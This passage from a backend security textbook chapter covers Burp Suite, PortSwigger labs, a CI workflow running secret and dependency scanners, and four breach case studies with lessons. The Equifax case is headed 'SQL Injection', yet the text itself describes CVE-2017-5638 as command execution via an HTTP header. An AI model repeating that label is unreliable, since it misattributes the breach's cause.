  • Intercept: pause a request mid-flight and modify any parameter before it hits your server.
  • Repeater: replay a request with different payloads (great for testing injection).
  • Intruder: automated fuzzing, try thousands of payloads against a parameter automatically.
  • Scanner (Pro only), automated vulnerability scanning.

PortSwigger Web Security Academy: Free Lab-Based Learning

The best free resource for hands-on security practice. Every vulnerability has:

  • A clear explanation of the theory
  • An interactive lab (real vulnerable web app, in-browser)
  • A walkthrough if you get stuck

Start with: SQL Injection -> XSS -> IDOR (BOLA) -> Authentication vulnerabilities -> Access Control. Each module takes 1-3 hours and teaches you more than reading theory alone ever could.

Automated Security Testing in CI/CD

name: Security Scan
on: [pull_request]

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with: { fetch-depth: 0 }  # full history for secret scanning

      # Scan for hardcoded secrets in entire git history
      - name: Gitleaks
        uses: gitleaks/gitleaks-action@v2

      # Static analysis for Go security issues
      - name: Gosec
        uses: securego/gosec@master
        with:
          args: ./...

      # Dependency vulnerability check
      - name: Nancy (Go deps)
        run: |
          go list -json -m all | nancy sleuth

19

Real Incident Case Studies

Theory lands harder when you see what it cost real companies. These are four of the most instructive security breaches, each one directly caused by a vulnerability covered in this chapter.

(1) Equifax (2017): SQL Injection / Unpatched Dependency

What happened: Attackers exploited a known vulnerability (CVE-2017-5638) in Apache Struts, a Java web framework Equifax used. The vulnerability allowed attackers to execute arbitrary OS commands via a specially crafted HTTP header. A patch had been available for two months before the breach. Equifax had not applied it.

What was missed:

  • No automated dependency vulnerability scanning in CI/CD.
  • No process for urgently patching critical CVEs.
  • Internal network not segmented, attackers moved laterally and accessed 48 additional databases once inside.
  • SSL inspection was disabled due to an expired internal certificate, malicious traffic went undetected for 76 days.

Lesson: Keep dependencies updated. Run automated CVE scans (dependabot, snyk, nancy) on every build. Apply critical security patches within 24-72 hours.

(2) Uber (2022): Secrets in Code + Social Engineering

What happened: An 18-year-old attacker used MFA fatigue (bombarding an Uber contractor with push notifications until they accepted one) to gain initial access. They then found a PowerShell script on an internal network share that contained hardcoded admin credentials for Uber’s Privileged Access Management (PAM) tool. With those credentials, they had access to virtually everything.

What was missed:

  • Hardcoded secrets in a script on an internal share, not in a secrets manager.
  • No MFA-resistant authentication (hardware keys / passkeys) for privileged access.
  • MFA push fatigue not mitigated (no number-matching, no rate limit on push attempts).
  • Over-privileged contractor access, too much lateral movement possible from one compromised account.

Lesson: Secrets belong in a secrets manager (AWS Secrets Manager, HashiCorp Vault, Doppler), never in scripts, config files, or chat messages. Use phishing-resistant MFA (hardware keys) for admin access. Apply least-privilege everywhere.

(3) Facebook (2018): Broken Authorization (Access Token Theft)

What happened: The “View As” feature let users see their profile as another user would see it. A bug in this feature caused it to incorrectly generate a video uploader component with a live access token, belonging to the user being viewed, not the viewer. Three compounding bugs created this flaw:

  1. Video uploader was incorrectly shown in “View As” mode.
  2. The uploader generated an access token for the wrong user (the viewed user, not the viewer).
  3. The access token had full account permissions instead of limited scope.

Lesson: Authorization is hard to test manually at scale. The BOLA principle applies: verify ownership at every data access point. Use short-lived, minimally-scoped tokens. Build automated tests specifically for authorization boundaries.

(4) LastPass (2022): Developer Machine Compromise -> Production Data

What happened: Attackers first compromised a DevOps engineer’s home computer by exploiting a vulnerable media software package (Plex). That machine had access to the LastPass cloud backup environment. Through that single developer machine, attackers exfiltrated:

  • Encrypted customer password vaults (the crown jewels)
  • Customer metadata (email, billing address, IP addresses)
  • Cloud infrastructure configuration and secrets

What was missed:

  • Developer machines should not have direct access to production backup environments, use bastion hosts and just-in-time access.
  • Personal machines used for work should be enrolled in MDM (Mobile Device Management) with security policies enforced.
  • Vault encryption used PBKDF2 with low iteration counts, weaker master passwords are crackable offline.
  • No anomaly detection on the unusual volume of data being exfiltrated.

Lesson: The supply chain is part of your attack surface. A developer’s home laptop is part of your security perimeter. Segment production access. Monitor for anomalous data exfiltration. Use hardware security keys for production access.

Common Thread Across All Four

EquifaxAssumption: “we’llpatch it later”UberAssumption: “thisscript is internal”FacebookAssumption: “authchecked at routing”LastPassAssumption: “dev laptopis outside perimeter”
Fig C: Every breach traces to an assumption that turned out to be wrong. Security is assumption management.

20

References & Further Reading

PortSwigger Web Security Academy OWASP Top 10 OWASP Cheat Sheet Series OWASP Authentication Cheat Sheet OWASP Session Management OWASP SQL Injection Prevention Lucia Auth (secure auth patterns) jwt.io (JWT debugger) Gitleaks (secret scanner) Go argon2 package Python argon2-cffi MDN, Content Security Policy MDN, HTTP Cookies OAuth 2.0 Spec OIDC Overview Go OIDC Library SSL Labs TLS Tester Caddy Automatic HTTPS Burp Suite Community gosec (Go static analysis) CVE-2017-5638 (Equifax) Uber 2022 Breach Report LastPass Breach Notice


Backend Field Manual / Backend Security / Chapter 17 (Extended)

Backend from First Principles / Chapter 17 / Security. Code targets Go 1.22+, Python 3.11+, Node.js 20+, TypeScript 5+ and Java 17+ (Spring Boot).